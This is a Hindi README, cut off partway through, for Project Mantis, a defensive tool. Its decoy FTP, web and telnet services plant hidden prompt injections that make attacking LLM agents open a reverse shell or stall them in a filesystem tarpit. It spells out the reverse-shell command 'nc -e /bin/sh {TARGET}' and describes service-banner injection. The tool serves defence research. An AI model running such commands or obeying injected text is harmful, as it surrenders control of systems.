
Project Mantis: AI-हैकर की जवाबी हैकिंग; LLM-संचालित साइबर हमलों के विरुद्ध बचाव के रूप में प्रॉम्प्ट इंजेक्शन
pip install -r requirements.txt
./confs निर्देशिका में कई पूर्व-निर्मित कॉन्फ़िगरेशन उपलब्ध हैं।
मांटिस कॉन्फ़िगरेशन फ़ाइल का एक उदाहरण ./confs/ftp_hackback_rshell.py में दिया गया है। इस कॉन्फ़िगरेशन का क्या अर्थ है और आप अपना कॉन्फ़िगरेशन कैसे चुन सकते हैं, इस README फ़ाइल में बाद में समझाया जाएगा। इसे mantis_run.py स्क्रिप्ट का उपयोग करके चलाया जा सकता है:
python mantis_run.py confs.ftp_hackback_rshell
confs/ftp_hackback_rshell.py के साथ मांटिस चलाने पर एक FTP डिकॉय सर्वर स्पॉन होगा जिसमें अनाम क्रेडेंशियल्स होंगे, जिसका उद्देश्य हमला करने वाले LLM-एजेंट को (अदृश्य) प्रॉम्प्ट इंजेक्शन के माध्यम से रिवर्स शेल खोलने के लिए धोखा देना है। ट्रिगर होने पर, यह परीक्षण के लिए निर्दिष्ट पोर्ट पर एक रिवर्स शेल लिसनर स्पॉन करता है (⚠️ यह कॉन्फ़िगरेशन उत्पादन के लिए अभिप्रेत नहीं है ⚠️)।
उपरोक्त का एक रूपांतर जो डिकॉय के रूप में SQL-इंजेक्शन-संवेदनशील वेबऐप का उपयोग करता है, उसे इस प्रकार चलाया जा सकता है:
python mantis_run.py confs.web_hackback_rshell
एक और कॉन्फ़िगरेशन confs/web_hackback_rshell_with_inj_banner.py में प्रदान किया गया है, जो confs.web_hackback_rshell का एक रूपांतर है। यह कॉन्फ़िगरेशन हमलावरों को आकर्षित करने के लिए सेवा बैनर इंजेक्शन का उपयोग करता है। इंजेक्शन को हाइपर-पैरामीटर: BANNER_INJECTION_POOL का उपयोग करके नियंत्रित किया जा सकता है (उदाहरण के लिए confs/web_hackback_rshell_with_inj_banner.py की सामग्री देखें)।
इन सभी उदाहरणों में, हम एक बहुत ही सरल रिवर्स शेल इनिशिएटर का उपयोग करते हैं: nc -e /bin/sh {TARGET} ...। इसे कॉन्फ़िगरेशन फ़ाइल में REVERSE_SHELL_INITIATOR चर को बदलकर बदला जा सकता है (उदाहरण के लिए, confs/ftp_hackback_rshell.py), जहाँ पैरामीटर {TARGET} होस्ट का IP है (जो मांटिस द्वारा स्वचालित रूप से सेट किया जाता है)। यदि आप हमलावर के पोस्ट-एक्सप्लॉइटेशन को स्वचालित करना चाहते हैं, तो आप Mantis.Decoys.reverse_shell_listener.ReverseShellListenerTest क्लास को संशोधित या बदल सकते हैं। कॉन्फ़िगरेशन फ़ाइलें कैसे काम करती हैं, इसके बारे में बाद में और अधिक जानकारी दी जाएगी।
एक और उदाहरण है ./confs/ftp_filesystem_tarpit.py:
python mantis_run.py confs.ftp_filesystem_tarpit
यह एक अनंत गहरी फ़ाइल प्रणाली और अनुकूलित (अदृश्य) प्रॉम्प्ट इंजेक्शन के साथ एक नकली FTP सर्वर शुरू करता है ताकि हमला करने वाले LLM एजेंट को फँसाए रखा जा सके। टारपिट की जटिलता को ./confs/ftp_filesystem_tarpit.py में EXPECTED_NUMBER_OF_DIRECTORIES चर के माध्यम से सेट किया जा सकता है।
एक कॉन्फ़िगरेशन फ़ाइल मांटिस के व्यवहार को परिभाषित करती है; कौन से डिकॉय का उपयोग करना है, इसका उपयोग कब करना है, और जब कोई (या कुछ) इसे एक्सप्लॉइट करने का प्रयास करता है तो क्या करना है। हालाँकि काफी विस्तृत, ./conf निर्देशिका में कॉन्फ़िगरेशन फ़ाइलें एक अवलोकन प्रदान करती हैं कि कॉन्फ़िगरेशन कैसा दिखता है। अधिक व्यावहारिक रूप से, वे एक (विशेष रूप से संरचित नहीं) Python स्क्रिप्ट में परिभाषित चरों की एक सूची हैं।
एक कॉन्फ़िगरेशन फ़ाइल में केवल दो अनिवार्य चर परिभाषित किए जाने चाहिए: DECOYS और TRIGGER_EVENTS।
DECOYSजैसा कि नाम से पता चलता है, यह डेटा संरचना उन डिकॉय को परिभाषित करती है जिन्हें मांटिस को बूट होने पर चलाना चाहिए। विशेष रूप से, यह एक Python शब्दकोश है जहाँ प्रत्येक प्रविष्टि एक डिकॉय को सौंपा गया पोर्ट है, जिसमें पोर्ट कुंजी के रूप में और एक टपल जिसमें “डिकॉय क्लास” और “डिकॉय कॉन्फ़िगरेशन” शामिल है, मान के रूप में होता है। एक “डिकॉय क्लास” “./Mantis/Decoys.DecoyService” का उपवर्ग है, और “डिकॉय कॉन्फ़िगरेशन” एक (संभवतः खाली) Python शब्दकोश है जो डिकॉय के लिए अनुकूलन विकल्प प्रदान करता है। हम इन विवरणों पर बाद में चर्चा करेंगे।
आइए DECOYS चर के उदाहरण के रूप में ./confs/ftp_filesystem_tarpit.py को लेते हैं:
DECOYS = {
21 : (
TarpitFTP , {
'name':'into_tarpit',
'hparams' : {'EXPECTED_NUMBER_OF_DIRECTORIES' : EXPECTED_NUMBER_OF_DIRECTORIES},
}
),
}
यहाँ पोर्ट 21 पर एक एकल डिकॉय (TarpitFTP) चल रहा है। "डिकॉय कॉन्फ़िगरेशन" दो चरों के साथ आता है: name, एक विशिष्ट डिकॉय से जुड़ा एक नाम जो बाद में TRIGGER_EVENTS को बेहतर ढंग से प्रबंधित करने में हमारी मदद करेगा, और एक और शब्दकोश hparams जिसका उपयोग डिकॉय क्लास में मनमाना डेटा पास करने के लिए किया जा सकता है। यदि name चर सेट नहीं है, तो इसका डिफ़ॉल्ट मान "decoy" है। hparams में मानों को फिर डिकॉय ऑब्जेक्ट में self.hparams विशेषता के माध्यम से एक्सेस किया जा सकता है। उदाहरण में, इसका उपयोग फ़ाइल-सिस्टम-आधारित टारपिट में अपेक्षित निर्देशिकाओं की संख्या निर्धारित करने के लिए किया जाता है।
उदाहरण एक एकल डिकॉय दिखाता है, लेकिन संख्या मनमानी हो सकती है (जब तक एक खाली पोर्ट उपलब्ध है)।
मांटिस कुछ डिकॉय क्लासों के साथ आता है जिन्हें तुरंत उपयोग किया जा सकता है। वे हैं:
Mantis.Decoys.FTP.fake_ftp.AnonymousFTP: एक नकली FTP सर्वर जिसमें अनाम क्रेडेंशियल्स सक्षम हैं।Mantis.Decoys.FTP.fake_ftp_tarpit.TarpitFTP: एक नकली FTP सर्वर जिसमें अनाम क्रेडेंशियल्स सक्षम हैं और जो अनंत गहरी फ़ाइल प्रणाली लागू करता है।Mantis.Decoys.Web.webFakeDB_sqlinj.WebFakeDB_sqlinj: एक वेब सर्वर जिसमें SQL इंजेक्शन के प्रति संवेदनशील लॉगिन पृष्ठ है।Mantis.Decoys.Telnet.fake_telnet.AnyPasswordFakeTelnet: एक नकली टेलनेट सर्वर जिसमें कमजोर प्रमाणीकरण है।हम इस सूची को बढ़ाने की योजना बना रहे हैं, लेकिन जैसा कि हम बाद में readme में देखेंगे, अपना स्वयं का डिकॉय बनाना कोई रॉकेट साइंस नहीं है।
यहाँ मुश्किल हिस्सा आता है। TRIGGER_EVENTS चर बाहरी उपयोगकर्ताओं (लोगों या एजेंटों) के डिकॉय के साथ बातचीत करने पर मांटिस के व्यवहार को परिभाषित करता है। जिस तरह से यह कॉन्फ़िगरेशन चर परिभाषित किया गया है वह अनावश्यक रूप से जटिल लग सकता है, लेकिन हो सकता है कि आपको अंततः यह आपको प्रदान की गई स्वतंत्रता की सराहना मिले (शायद)।
TRIGGER_EVENTS एक और python शब्दकोश है, जहाँ एक प्रविष्टि इस प्रकार परिभाषित की गई है:
TRIGGER : (
INJECTION_FUNCTION,
{
'invisible_shell':INVISIBLE_SHELL?,
'invisible_html':INVISIBLE_HTML?
},
EXECUTION_TRIGGER_POOL,
PAYLOAD_POOL,
SERVICES_TO_SPAWN,
TO_KILL?,
),
यहाँ, एक प्रविष्टि परिभाषित करती है कि जब कोई डिकॉय ट्रिगर इवेंट संकेत देता है तो क्या करना है। आगे, हम प्रत्येक पैरामीटर पर अलग से विचार करने जा रहे हैं:
TRIGGERकुंजी TRIGGER एक स्ट्रिंग है जो हमें ट्रिगर इवेंट को क्रियाओं के संगत सेट (शब्दकोश प्रविष्टि का मान) से मैप करने की अनुमति देती है।
सामान्य मामले में, इसे ऊपर बताए अनुसार DECOYS चर को परिभाषित करते समय डिकॉय को सौंपे गए नाम पर सेट किया जा सकता है। उदाहरण के लिए, ./confs/ftp_filesystem_tarpit.py के लिए इसे "into_tarpit" पर सेट किया जाना चाहिए। यदि आपने अपने डिकॉय के लिए कोई नाम सेट नहीं किया है, तो आप TRIGGER को "decoy" पर सेट कर सकते हैं। यदि आप कई डिकॉय स्थापित करते हैं, तो आपको उन्हें नाम देना होगा और TRIGGER_EVENTS में सही ट्रिगर इवेंट से मैप करने के लिए उन नामों का उपयोग करना होगा। उदाहरण के लिए, निम्नलिखित डिकॉय के साथ:
DECOYS = {
21 : (
TarpitFTP , {
'name':'ftp_tarpit',
'hparams' : {'EXPECTED_NUMBER_OF_DIRECTORIES' : EXPECTED_NUMBER_OF_DIRECTORIES},
}
),
80: (
WebFakeDB_sqlinj, {
'name': 'sql_injection'
}
),
}
आपके ट्रिगर इवेंट इस प्रकार दिखने चाहिए:
TRIGGER_EVENTS = {
'ftp_tarpit' : (...),
'sql_injection' : (...),
}
हालाँकि मुश्किल हिस्सा यह है कि प्रत्येक डिकॉय में अलग-अलग नामों वाले कई ट्रिगर इवेंट हो सकते हैं (./confs/ftp_filesystem_tarpit.py पर एक नज़र डालें)। फिलहाल इसे छोड़ दें 😇।
INJECTION_FUNCTION